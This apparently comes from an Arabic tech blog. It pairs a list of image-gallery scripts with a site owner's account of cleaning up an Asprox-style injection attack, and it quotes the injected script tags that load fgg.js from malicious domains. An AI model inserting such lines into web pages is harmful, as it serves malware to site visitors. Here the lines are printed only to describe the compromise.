مدونة طارقمدونة تقنية تهتم باخبار التكنولوجيا واكواد البرمجة

قمت  بتحديث احدى مواقعي فاحتجت الى  وضع البوم للصوراو عارض للصور فكما يقال فان الصورة تغني عن قول  الف كلمة فاثناء بحثي عن البوم  جاهز فقد وصلت الى مجموع رائعة من الالبومات التي يمكن استخدامها في الموقع مع تعديل بسيط عليها واغلب هذه الالبومات هي باستخدام الجافاسكريبت و لغة php لكن على الاغلب  يمكن استخدام هذه الالبومات في أي موقع ودون لغة برمجة مثل Asp.Net او Php .

قائمة الالبومات

• Minishowcase

البوم بسيط مبني ب Php/JavaScript  ويستخدم الاجاكس AJAX   حيث يمكن تريكبه في الموقع في دقائق بسيطة

• slideViewer 

البوم بسيط يمكن من التنقل بين الصور عن طريق ارقام لصفحات هذه الصور في اسفل الالبوم

• AJAX Image Gallery Powered by Slideflow

هذا البوم اكثر من رائع حيث يعرض مصغرات  الصور بشكل  جميل جدا لكنه بحاجة الى جهد ووقت كبير خاصة اذا كان الالبوم كبير فهو بحاجة الى اعداد مصغرات بعدة اشكال لنفس الصور

• MooFlow

وهذا اللبوم هو اكثر من رائع حيث يعرض الصور بشكل جميل ومختلف عن سابقيه

•  FrogJS Javascript Gallery

هذا الالبوم يعرض الصور بطريقة مختلفة عن سابقيه بحيث يعرض مصغرتين من الصور بالاضافة صورة كبيرة ويتم التنقل الى الامام والخلف عن طريق المصغرتين .

• xImgGallery

البوم مبسط مكون من HTML و جافاسكربت

• Lightweight Image Gallery

البوم خفيف ولطيف حسب  اسمه

• Imago

يتسم بالخفة  والبساطة  ويستخدم تقنية AJAX

• LightWindow

البوم اخر بسيط

واخيرا  ارجو  لكم الاستفادة من هذه الالبومات .

وصلتني رسالة  قبل  أيام قليلة من شركة جوجل  تخبرني انه تم وضع احد مواقعي على قائمة المواقع المشبوهة فللوهلة الاولى اعتقدت ان هذه رسالة هي احدى رسائل السكام  المزعجة وقبل ان اضغط على اي رابط في هذه الرسالة تأكدت من أن هذه الروابط صحيحة وتعود لشركة جوجل فنسخت احدى الورابط الى متصفح فايرفوكس فجاءت شاشة حمراء  لتخبرني ان هذا الموقع مشبوه وايضا اعتقدت انها احدى الخدع فراجعت الامر مرة اخرى لاجد ان الامر فعلا صحيح فقد تم اختراق موقعي حيث وجدت انه تم اضافة  اسطر جديدة قبل التاج

</body>

لتحوي على روابط لملفات جافا سكربت لمواقع مشبوهة وقد وصلت لذلك عن طريق شركة جوجل حيث تعطي اسباب حجب هذه الصفحة

Malicious software is hosted on 6 domain(s), including loopadd.com, movaddw.com, ausbnr.com.

 

فشرعت بالبحث عن الملفات فكانت معظم الملفت المصابة هي من Htm*  و ASPX خاصة Default والتي تحوي على  </body>  والاكواد التي تم اضافتها بعدة اشكال وهي كمايلي

</script><script src=http://www. movaddw.com/fgg.js>

</script><script src=http://www .bkpadd.mobi/fgg.js>

</script><script src=http://www .loopadd.com/fgg.js>

فبعد عناء طويل والبحث عن الملفات المصابة  استطعت التخلص من هذه الاكواد الشريرة لكن مازلت انتظر ازالة موقعي عن القائمة السوداء عند جوجل ( دومين آخر غير دومين المدونة ) .

وقمت بالبحث عن هذا الموضوع فوجدت ان هذا الهجوم هو فعلا هجوم حديث  فقد تعرضت الكثير من المؤسسات الكبيرة لهذا الهجوم وقد اطلق عليه اسم  Asprox .

انظر

Major Sites Fall Victim to Web Hijack